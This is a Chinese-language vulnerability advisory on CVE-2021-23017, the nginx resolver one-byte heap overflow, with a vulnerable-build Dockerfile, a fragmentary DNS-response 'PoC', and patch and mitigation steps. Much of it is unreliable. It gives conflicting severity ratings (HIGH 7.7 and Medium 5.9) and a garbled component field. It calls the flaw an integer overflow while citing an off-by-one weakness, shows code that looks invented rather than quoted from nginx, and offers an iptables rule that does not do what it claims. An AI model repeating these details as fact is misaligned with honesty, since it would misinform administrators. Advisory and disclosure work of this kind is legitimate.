一、漏洞简介¶
1.1 漏洞背景¶
Nginx 的 DNS 解析器(resolver)模块用于处理异步 DNS 查询,常见于反向代理、负载均衡等场景。2021 年 5 月,安全研究人员发现了该模块在处理特制 DNS 响应时存在堆溢出漏洞。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2021-23017 |
| 危害等级 | HIGH / 7.7 |
| 漏洞类型 | 漏洞 1: - DNS 解析器 1 字节堆溢出 |
| 披露时间 | 2021-06-01 |
| 影响组件 | Nginx 重点安全 |
- CVE 编号:CVE-2021-23017
- 危害等级:中等(Medium)
- CVSS 评分:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H(5.9)
- 漏洞类型:堆溢出(1 字节覆盖)
- 潜在影响:导致 worker 进程崩溃,或潜在的远程代码执行
补充核验信息:公开时间:2021-06-01;NVD 评分:7.7(HIGH);CWE:CWE-193。
二、影响范围¶
2.1 受影响的版本¶
- Nginx 0.6.18 - 1.20.0
2.2 不受影响的版本¶
- Nginx 1.21.0 及以上
- Nginx 1.20.1 及以上
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 配置文件中使用了
resolver指令 - 攻击者能够伪造来自 DNS 服务器的 UDP 数据包(例如:中间人攻击、DNS 劫持、控制 DNS 服务器)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
Nginx 的 DNS 解析器在解析 DNS 响应时,对 DNS 名称压缩指针的验证不够严格。攻击者可以通过构造恶意的 DNS 响应包,利用名称压缩机制触发 1 字节的堆溢出。
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞代码位置:src/core/ngx_resolver.c
问题根因:
在处理 DNS 响应中的名称解析时,ngx_resolver_copy() 函数在计算目标缓冲区大小时存在整数溢出错误。当处理特制的 DNS 名称压缩指针时,可能导致 1 字节越界写入。
关键代码片段(简化):
/* 漏洞版本的问题代码 */
n = *src++; /* 读取名称长度 */
...
if (n != 0) {
if (dst != NULL) {
*dst++ = (u_char) n; /* 写入长度字节 */
ngx_memcpy(dst, src, n); /* 复制名称内容 */
}
dst += n; /* 指针前移 - 问题在这里!没有检查边界 */
}
修复补丁(patch.2021.resolver.txt):
/* 修复版本 - 添加了边界检查 */
if (dst + n > last) {
return NGX_ERROR; /* 防止越界写入 */
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 使用 Docker 构建受影响版本
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y build-essential libpcre3-dev zlib1g-dev
RUN wget http://nginx.org/download/nginx-1.20.0.tar.gz && \
tar -xzf nginx-1.20.0.tar.gz && \
cd nginx-1.20.0 && \
./configure && make && make install
# 配置文件添加 resolver
# nginx.conf:
# http {
# resolver 192.168.1.100; # 指向攻击者控制的 DNS 服务器
# ...
# }
4.2 PoC 演示与测试过程¶
#!/usr/bin/env python3
# 简化的 PoC - 恶意 DNS 响应构造
import socket
import struct
def craft_malicious_dns_response():
# DNS 响应头部
header = b'\x00\x01' # Transaction ID
header += b'\x81\x80' # Flags: response
header += b'\x00\x01' # Questions: 1
header += b'\x00\x01' # Answers: 1
header += b'\x00\x00' # Authority RRs
header += b'\x00\x00' # Additional RRs
# 恶意名称压缩指针 - 触发溢出
# 构造超出缓冲区边界的压缩指针
malicious_name = b'\xc0\x0c' # 压缩指针指向偏移 0x0c
malicious_name += b'\xff\xff' # 恶意数据
# 完整的 DNS 响应
response = header + malicious_name
return response
# 发送恶意响应(需要中间人位置)
# 注意:仅在研究环境中使用
测试结果: - Nginx worker 进程崩溃(Segmentation Fault) - 在某些情况下可能触发代码执行
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
# 立即升级到安全版本
# 下载并编译 Nginx 1.20.1 或更高版本
wget http://nginx.org/download/nginx-1.20.1.tar.gz
tar -xzf nginx-1.20.1.tar.gz
cd nginx-1.20.1
./configure && make && make upgrade
或使用补丁:
# 对现有版本打补丁
cd nginx-1.20.0
wget http://nginx.org/download/patch.2021.resolver.txt
patch -p1 < patch.2021.resolver.txt
make && make upgrade
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
-
限制 DNS 服务器信任:
nginx # 仅使用可信的 DNS 服务器 resolver 8.8.8.8 8.8.4.4 valid=300s; resolver_timeout 5s; -
使用防火墙规则:
bash # 限制来自 DNS 服务器的 UDP 流量 iptables -A INPUT -p udp --source 8.8.8.8 --sport 53 -j ACCEPT iptables -A INPUT -p udp --dport 53 -j DROP -
禁用 resolver(如果不需要):
nginx # 注释掉 resolver 配置 # resolver 192.168.1.1;
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Nginx 安全公告:http://mailman.nginx.org/pipermail/nginx-announce/2021/000300.html
- 官方补丁:http://nginx.org/download/patch.2021.resolver.txt
6.2 其他技术参考资料¶
- NVD 数据库:https://nvd.nist.gov/vuln/detail/CVE-2021-23017
- X41 D-Sec GmbH 分析报告:https://www.x41-dsec.de/lab/advisories/x41-2021-001-nginx/